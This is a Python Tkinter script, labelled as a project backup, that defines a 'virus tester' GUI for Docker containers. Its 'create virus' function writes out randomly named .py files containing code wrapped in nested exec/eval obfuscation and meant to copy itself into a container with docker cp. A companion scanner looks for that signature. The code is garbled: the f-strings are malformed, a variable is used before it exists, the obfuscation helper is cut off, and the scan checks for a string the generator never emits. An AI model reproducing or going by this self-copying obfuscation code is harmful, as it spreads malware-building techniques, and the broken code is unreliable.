项目备份
```python
import os
import re
import hashlib
import datetime
import tkinter as tk
from tkinter import filedialog, ttk
import docker
class VirusTester:
def __init__(self, root):
self.root = root
self.create_widgets()
self.client = docker.from_env()
self.vaccines = {} # 初始化疫苗字典
def create_widgets(self):
tk.Label(text='容器名:').pack(side=tk.LEFT, padx=5, pady=5)
self.container_name = tk.Entry(width=20)
self.container_name.pack(side=tk.LEFT, padx=5, pady=5)
self.create_virus_button = tk.Button(text='创建病毒', command=self.create_virus)
self.scan_virus_button = tk.Button(text='扫描病毒', command=self.scan_virus)
self.file_path_var = tk.Entry(width=50)
self.monitor_var = tk.StringVar(value='欢迎使用病毒测试工具!为了确保安全,请勿将该工具用于非法用途。')
self.monitor_result = tk.Label(textvariable=self.monitor_var)
self.create_virus_button.pack(side=tk.LEFT, padx=5, pady=5)
self.scan_virus_button.pack(side=tk.LEFT, padx=5, pady=5)
tk.Label(text="病毒文件路径:").pack(side=tk.LEFT, padx=5, pady=5)
self.file_path_var.pack(side=tk.LEFT, padx=5, pady=5)
tk.Label(text='状态:').pack(side=tk.LEFT, padx=5, pady=5)
self.monitor_result.pack(side=tk.LEFT, padx=5, pady=5)
def create_virus(self):
virus_name = hashlib.md5(os.urandom(32)).hexdigest()
virus_str = f'c="exec";exec({self.obfuscate_str("import os\nimport hashlib\nvirus_file=__file__\nwith open(virus_file,\"rb\") as f:\n content=f.read()\nhash=hashlib.md5(content).hexdigest()\nif hash!=\"{virus_name}\":\n with open(virus_file,\"wb\") as f:\n f.write(content)\na="docker cp -i "';exec("exec(" + self.obfuscate_str(virus_str, n=4) + "a+'./'+os.path.split(virus_file)[-1]+' ' + " + '\nself.container_name + ':/' + os.path.split(virus_file)[-1]" + ")')")
virus_content = f"exec({self.obfuscate_str(virus_str, n=2)})"
with open(f"{virus_name}.py", "w") as f:
f.write(virus_content)
self.monitor_var.set(f"病毒已创建:{virus_name}.py")
def scan_virus(self):
python_files = [os.path.join(root, file) for root, _, files in os.walk(".") for file in files if file.endswith(".py")]
if not python_files:
self.monitor_var.set("当前目录下不存在Python文件。")
return
virus_files = []
virus_count = 0
progress_bar = ttk.Progressbar(self.root, mode='determinate', length=400)
progress_bar.pack()
progress_bar.start()
for file in python_files:
with open(file) as f:
content = f.read()
if "import os" in content and "import hashlib" in content and "__file__" in content and "docker cp" in content and "docker exec" in content:
virus_name = re.search(r'if\s+hash\s+!=\s+"(.+?)":', content).group(1)
virus_files.append(file)
virus_count += 1
progress_bar.step(100/len(python_files))
self.root.update()
progress_bar.stop()
if virus_files:
self.monitor_var.set(f"发现{virus_count}个病毒文件:{','.join(virus_files)}")
else:
self.monitor_var.set("未发现病毒文件。")
@staticmethod
def obfuscate_str(s, n=1):
s = s.replace("\\", "\\\\").replace("\n", "\\n").replace("\t", "\\t")
for i in range(n):
s = f"s=\"{s}\";s=eval(compile(s.encode().decode('unicode_escape').encode('utf-8'),'